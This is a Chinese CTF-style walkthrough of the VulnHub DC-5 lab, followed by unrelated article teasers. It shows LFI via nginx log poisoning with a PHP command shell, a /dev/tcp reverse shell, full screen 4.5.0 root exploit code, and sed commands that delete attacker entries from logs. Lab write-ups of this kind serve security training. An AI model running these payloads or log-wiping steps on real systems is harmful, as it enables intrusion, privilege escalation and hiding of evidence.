vulnhub靶场【DC系列】之5

前言

靶机:DC-5,IP地址为192.168.10.4

攻击:kali,IP地址为192.168.10.2

都采用VMWare,网卡为桥接模式

对于文章中涉及到的靶场以及工具,我放置网盘中https://pan.quark.cn/s/2fcf53ade985

主机发现

使用arp-scan -l或者netdiscover -r 192.168.10.1/24

信息收集

使用nmap扫描端口

网站信息探测

访问80端口默认界面,查看页面源代码,发现脚本语言为php

使用gobuster、dirsearch、ffuf、dirb、dirbuster等工具对目标进行目录爆破

gobuster dir -u http://192.168.10.4 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,md -d -b 404

漏洞寻找

既然是php文件,并且当前也没有什么可用,那么使用ffuf对这些php脚本文件进行模糊测试,测试有无一些隐藏的参数,知道几个的php文件,来回进行一个测试,最终在thankyou.php发现

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.4/thankyou.php?FUZZ=./contact.php -fs 852
#FUZZ是前面字典的测试点,也就是测试参数
#FUZZ后面的是已知的网站php文件,如果存在文件包含等,可能就会显示
#-fs是过滤该字节大小的数据,也就是原始的thankyou.php的数据大小

发现参数file,那么再测试有什么可注入点,通过这个参数

ffuf -c -w /usr/share/wordlists/wfuzz/Injections/All_attack.txt -u http://192.168.10.4/thankyou.php?file=FUZZ -fs 835
#-fs后面的数据变化了,是因为数据大小发生变化,在有file参数后,原始的大小变为835

通过构造链接,获取/etc/passwd文件,发现靶机内有一个用户dc

但是这里没有办法获取/etc/shadow文件,所以继续寻找其他点,尝试使用从github上获取的字典,继续进行测试

ffuf -c -w /usr/share/wordlists/linux_file.txt -u http://192.168.10.4/thankyou.php?file=FUZZ -fs 835

漏洞利用

但是这里访问一圈,没有获取到有用信息。

这时候去前面看了一下nmap的扫描, 想起这里的网站使用的是nginx,偏偏使用的字典没有包括这个,这里就手动输入

路径作用
/etc/nginx/nginx.conf主配置文件
/var/log/nginx/access.log访问日志配置,它将访问日志记录
/var/log/nginx/error.log记录 Nginx 服务器在运行过程中出现的各种错误信息

经过测试,日志文件error.log会记录信息,但是access.log并无记录信息

既然是错误的日志,那么就尝试给予一个传参的值为php代码,然后进行测试

先传入简单的代码进行测试<?php system('id');?>

http://192.168.10.4/thankyou.php?file=<?php system('id');>

访问记录错误的日志文件,发现其中的代码被进行url编码了

访问链接,最好以查看源代码的形式,不然容易出错,或者看不清

view-source:http://192.168.10.4/thankyou.php?file=/var/log/nginx/error.log

那么尝试使用burp进行抓取数据包,测试其在哪个阶段进行的url编码,发现是在到服务器之前进行的编码,那么可以在burp中修改,并且,还是有可能注入的

啧,这里靶机出了问题,再访问error.log没有任何信息,所以无奈之下,重装靶机,可能之前进行爆破的时候,太多导致的

这时候把编码的代码进行复原,然后进行转发

再次访问access.log,这里为什么是access.log不是error.log了呢,因为重装后,好了,access.log有数据了,不过访问error.log也是可以看到数据的

访问access.log的效果如下

view-source:http://192.168.10.4/thankyou.php?file=/var/log/nginx/access.log

访问error.log的效果如下

view-source:http://192.168.10.4/thankyou.php?file=/var/log/nginx/error.log

而且说白了,在进行构造时,参数是不是file都行,只要在进行查看,也就是文件包含时,使用即可

这里确定可以执行php代码,那么就尝试设置一个参数,来进行命令执行

构造代码<?php system($_REQUEST['cmd']);?>,然后再次通过burp改包后转发

然后在浏览器上访问,这时候就需要构造链接了

view-source:http://192.168.10.4/thankyou.php?file=/var/log/nginx/access.log&cmd=ls

反弹shell

cmd用于接收用户的输入,然后调用system函数执行,也就相当于命令执行了

尝试通过这样构造一个bash反弹

/bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.10.2/9999 0>&1'

#进行URL编码后
%2fbin%2fbash+-c+%27%2fbin%2fbash+-i+%3e%26+%2fdev%2ftcp%2f192.168.10.2%2f9999+0%3e%261%27

把URL编码后的语句传参给cmd,就可以获取到一个反弹shell

在查看当前靶机内用户,发现只要dc,并且其中的目录下,并没有任何文件,个人感觉,可能都不需要提权至dc

使用find寻找具有SUID权限的文件,啧,发现exim4文件,是不是很眼熟,因为这个和上个靶机很像,就是不知道版本是否一致

提权

测试发现exim4的版本为4.84-2,在使用searchsploit未对应版本,也未在范围内

searchsploit exim 4.8 privilege

不过发现一个不常见的命令screen-4.5.0

使用searchsploit搜索,发现有该版本的提权脚本

searchsploit screen 4.5.0

使用locate定位到文件的位置,然后为了方便复制到当前目录下的位置,然后查看脚本文件内容,发现涉及到gcc编译

那么测试靶机内有无环境,就是有无安装gcc,并且能否使用wget

不过在执行脚本后,直接出错,不过观察脚本,按理说,应该是可以进行创建等操作的,既然在靶机内无法直接执行脚本,那么就把脚本中的内容进行分段处理,这里就是三部分,两个c文件,然后还有编译的操作命令。

注意,我这里因为出现失误,所以后续的代码编辑,文件名称会改变,不过效果不变

//第一部分的c文件
//下面代码存放在 /tmp/libhax.c

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
    chown("/tmp/shell", 0, 0);
    chmod("/tmp/shell", 04755);
    unlink("/etc/ld.so.preload");
    printf("[+] done!\n");
}


//执行下面的命令
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c

然后创建第二个

//第二部分的c文件

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}


//执行下面的命令
gcc -o /tmp/shell /tmp/shell.c
rm -f /tmp/shell.c

然后创建一个脚本文件,或者这里的命令,一个个去执行也是可以的

cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/shell  

因为靶机内文件编译器有问题,所以这里把两个c文件以及脚本文件编写好,然后通过python,靶机使用wget下载到/tmp目录。

不过在靶机使用gcc编译出现以下问题时,配置以下临时环境变量即可

#报错信息
gcc: error trying to exec 'cc1': execvp: No such file or directory

可以使用临时环境变量配置,一般的gcc关键目录可能都在这个

export PATH=$PATH:/usr/local/bin/

这时候再按照两个c文件对应的gcc编译命令,然后就可以编译成功

执行脚本文件,即可发现提权成功

查看flag

清除痕迹

这里必须要说一下,因为这次对于nginx的日志都已经出现问题了,所以肯定有大量的记录

sed -i "/192.168.10.2/d" /var/log/nginx/access.log
sed -i "/192.168.10.2/d" /var/log/nginx/error.log

对于其他的日志,直接置空或者怎么样都行

历史命令清理

history -r
history -c

总结

该靶场主要考察以下几点:

  1. 对于网站只有由php语言编写的时候,要测试有无隐藏的参数,或许这个参数具有文件包含功能,甚至可能会有远程的文件包含
  2. 对于常见的几种web中间件的配置文件的了解,这里是考察nginx的日志文件,并通过该日志文件触发php代码,以达到文件包含+命令执行的效果
  3. 反弹shell的构造,这里太多了,靶机支持的情况下,可以百度测试,这里提供一个地址https://forum.ywhack.com/shell.php
  4. 对于提权操作,搜索具有SUID权限的文件后,可以查看文件是否具有版本漏洞,可以借助searchsploit,然后以及靶机内信息收集来确定版本,以确定是否具有漏洞,这里忘了截图uname -a这里可以看到为GNU系统

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/949996.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Postman接口测试02|接口用例设计

目录 六、接口用例设计 1、接口测试的测试点&#xff08;测试维度&#xff09; 1️⃣功能测试 2️⃣性能测试 3️⃣安全测试 2、设计方法与思路 3、单接口测试用例 4、业务场景测试用例 1️⃣分析测试点 2️⃣添加员工 3️⃣查询员工、修改员工 4️⃣删除员工、查询…

计算机网络 (29)网络地址转换NAT

前言 网络地址转换&#xff08;Network Address Translation&#xff0c;NAT&#xff09;是计算机网络中的一种重要协议&#xff0c;它主要用于将私有IP地址转换为公共IP地址&#xff0c;以实现内部网络与外部网络之间的通信。 一、基本概念 NAT是一种在局域网&#xff08;LAN&…

BloombergGPT: A Large Language Model for Finance——面向金融领域的大语言模型

这篇文章介绍了BloombergGPT&#xff0c;一个专门为金融领域设计的大语言模型&#xff08;LLM&#xff09;。以下是文章的主要内容总结&#xff1a; 背景与动机&#xff1a; 大语言模型&#xff08;如GPT-3&#xff09;在多个任务上表现出色&#xff0c;但尚未有针对金融领域的…

jQuery的基本使用学习笔记

文章目录 jQuery的基本使用jQuery的入口函数jQuery的顶级对象 $jQuery对象和DOM对象jQuery对象和DOM对象的互相转换 jQuery选择器jQuery基础选择器jQuery层级选择器隐式迭代jQuery筛选选择器jQuery筛选方法&#xff01;&#xff01;&#xff01;jQuery里面的排他思想jQuery的链…

Android存储方案对比(SharedPreferences 、 MMKV 、 DataStore)

简介&#xff1a;本文介绍了Android开发中常用的键值对存储方案&#xff0c;包括SharedPreferences、MMKV和DataStore&#xff0c;并且对比了它们在性能、并发处理、易用性和稳定性上的特点。通过实际代码示例&#xff0c;帮助开发者根据项目需求选择最适合的存储方案&#xff…

[微服务]redis主从集群搭建与优化

搭建主从集群 单节点Redis的并发能力是有上限的&#xff0c;要进一步提高Redis的并发能力&#xff0c;就需要搭建主从集群&#xff0c;实现读写分离。 1. 主从集群结构 下图就是一个简单的Redis主从集群结构&#xff1a; 如图所示&#xff0c;集群中有一个master节点、两个s…

vue3 react使用高德离线地图

下载离线资源 下载地址 https://download.csdn.net/download/u010843503/90234612 2、部署私有化瓦片资源 ngxin中配置如下 server{listen 18082;server_name localhost;location / {root D:/GisMap/_alllayers;#try_files $uri $uri/ /index.html;#index index.html;} }下载…

【数据结构-堆】力扣2530. 执行 K 次操作后的最大分数

给你一个下标从 0 开始的整数数组 nums 和一个整数 k 。你的 起始分数 为 0 。 在一步 操作 中&#xff1a; 选出一个满足 0 < i < nums.length 的下标 i &#xff0c; 将你的 分数 增加 nums[i] &#xff0c;并且 将 nums[i] 替换为 ceil(nums[i] / 3) 。 返回在 恰好…

基于华为ENSP的OSPF状态机、工作过程、配置保姆级别详解(2)

本篇技术博文摘要 &#x1f31f; 基于华为enspOSPF状态机、OSPF工作过程、.OSPF基本配置等保姆级别具体详解步骤&#xff1b;精典图示举例说明、注意点及常见报错问题所对应的解决方法 引言 &#x1f4d8; 在这个快速发展的技术时代&#xff0c;与时俱进是每个IT人的必修课。我…

运动相机拍摄的视频打不开怎么办

3-10 GoPro和大疆DJI运动相机的特点&#xff0c;小巧、高清、续航长、拍摄稳定&#xff0c;很多人会在一些重要场合用来拍摄视频&#xff0c;比如可以用来拿在手里拍摄快速运动中的人等等。 但是毕竟是电子产品&#xff0c;有时候是会出点问题的&#xff0c;比如意外断电、摔重…

gateway的路径匹配介绍

gateway是一个单独服务。通过网关端口和predicates进行匹配服务 1先看配置。看我注解你就明白了。其实就是/order/**配置机制直接匹配到orderservice服务。 2我试着请求一个路径&#xff0c;请求成功。下面第三步是请求的接口。 3接口。

Bytebase 3.1.0 - 通过 Google / GitHub SSO 功能开放给专业版

&#x1f680; 新功能 支持在 PostgreSQL DML/DDL 工单中选择执行角色。 在项目设置中增加 PostgreSQL 数据库租户模式配置选项。 在数据库页面和 SQL 编辑器为 ORACLE 数据库展示 package 元数据。 支持为环境配置颜色&#xff0c;方便区分。 新增管理员可关闭数据导出…

【C++笔记】红黑树(RBTree)深度剖析和AVL树的对比分析

【C笔记】红黑树(RBTree)深度剖析和AVL树的对比分析 &#x1f525;个人主页&#xff1a;大白的编程日记 &#x1f525;专栏&#xff1a;C笔记 文章目录 【C笔记】红黑树(RBTree)深度剖析和AVL树的对比分析前言一.红黑树的定义1.1 红黑树的概念1.2红黑树的规则1.3 红黑树对比A…

(概率论)无偏估计

参考文章&#xff1a;(15 封私信 / 51 条消息) 什么是无偏估计&#xff1f; - 知乎 (zhihu.com) 首先&#xff0c;第一个回答中&#xff0c;马同学图解数学讲解得很形象&#xff0c; 我的概括是&#xff1a;“注意&#xff0c;有一个总体的均值u。然后&#xff0c;如果抽样n个&…

Mac中配置vscode(第一期:python开发)

1、终端中安装 xcode-select --install #mac的终端中安装该开发工具 xcode-select -p #显示当前 Xcode 命令行工具的安装路径注意&#xff1a;xcode-select --install是在 macOS 上安装命令行开发工具(Command Line Tools)的关键命令。安装的主要组件包括&#xff1a;C/C 编…

【顶刊TPAMI 2025】多头编码(MHE)之极限分类 Part 3:算法实现

目录 1 三种多头编码&#xff08;MHE&#xff09;实现1.1 多头乘积&#xff08;MHP&#xff09;1.2 多头级联&#xff08;MHC&#xff09;1.3 多头采样&#xff08;MHS&#xff09;1.4 标签分解策略 论文&#xff1a;Multi-Head Encoding for Extreme Label Classification 作者…

【形式篇】年终总结怎么写:PPT如何将内容更好地表现出来

——细节满满&#xff0c;看完立马写出一篇合格的PPT 总述 形式服务于内容&#xff0c;同时合理的形式可以更好地表达和彰显内容 年终总结作为汇报型PPT&#xff0c;内容一定是第一位的&#xff0c;在内容篇(可点击查看)已经很详细地给出了提纲思路&#xff0c;那如何落实到…

软件项目体系建设文档,项目开发实施运维,审计,安全体系建设,验收交付,售前资料(word原件)

软件系统实施标准化流程设计至关重要&#xff0c;因为它能确保开发、测试、部署及维护等各阶段高效有序进行。标准化流程能减少人为错误&#xff0c;提升代码质量和系统稳定性。同时&#xff0c;它促进了团队成员间的沟通与协作&#xff0c;确保项目按时交付。此外&#xff0c;…

大模型(LLM) 的长上下文与 RAG:评估与回顾

大模型的长上下文与 RAG 以下是本文的主要发现&#xff1a; 在问答基准测试中&#xff0c;LC 的表现通常优于 RAG 基于摘要的检索与 LC 性能相当&#xff0c;而基于块的检索则落后 RAG 在基于对话和一般性问题查询方面具有优势 本文对结果进行了深入分析&#xff0c;请查看。 …

SSR 【1】【nuxt安装】

文章目录 前言如何解决 前言 nuxt提供了nuxi脚手架工具&#xff0c;让开发者便捷生成nuxt模板项目。nuxt官网 npx nuxilatest init <project-name>但是几乎大部分的人在安的时候都会遇到这个问题 如何解决 在C:\Windows\System32\drivers\etc\hosts中增加如下解析记录…